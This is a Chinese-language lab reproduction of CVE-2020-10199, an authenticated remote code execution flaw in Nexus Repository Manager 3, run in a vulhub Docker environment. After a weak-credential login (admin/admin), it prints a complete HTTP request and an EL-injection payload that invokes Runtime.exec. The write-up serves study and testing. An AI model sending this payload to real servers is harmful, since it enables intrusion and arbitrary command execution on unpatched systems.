漏洞名称
Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199)
漏洞简述
2020年03月31 日,Sonatype 官方发布安全公告,声明修复了存在于 Nexus Repository Manager 3 中的远程代码执行漏洞 CVE-2020-10199。Sonatype Nexus 是一个 Maven 的仓库管理系统,它提供了强大的仓库管理、构件搜索等功能,并且可以用来搭建 Maven 仓库私服,在代理远程仓库的同时维护本地仓库,以节省带宽和时间。在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限。 此漏洞的利用需要攻击者具备任意类型的账号权限。
影响版本
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
漏洞复现
在kail虚拟机上打开命令控制台,切换到vulhub目录下的nexus,ls查看nexus下的目录,cd切换到复现的CVE-2020-10199,执行docker-compose up - d,拉去镜像环境
docker-compose up -d
#拉取镜像环境
然后ipconfig
然后访问网址,尝试用弱口令账号:admin,密码:admin ,登录界面
登录后开启代理用bp抓包
抓包后发送到repeater,执行poc,注意修改ip,token和cookie
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.182.131:8081
Content-Length: 292
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.2696582112427013
Content-Type: application/json
Accept: */*
Origin: http://192.168.182.131:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://192.168.182.131:8081/
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:NX-ANTI-CSRF-TOKEN=0.2696582112427013; NXSESSIONID=462d53af-f3ac-48cd-a6fd-d38880553236
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}"]
}
}
payload为:
"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}"
在虚拟机上查看是否执行成功
147为docker ps命令执行后的status前三位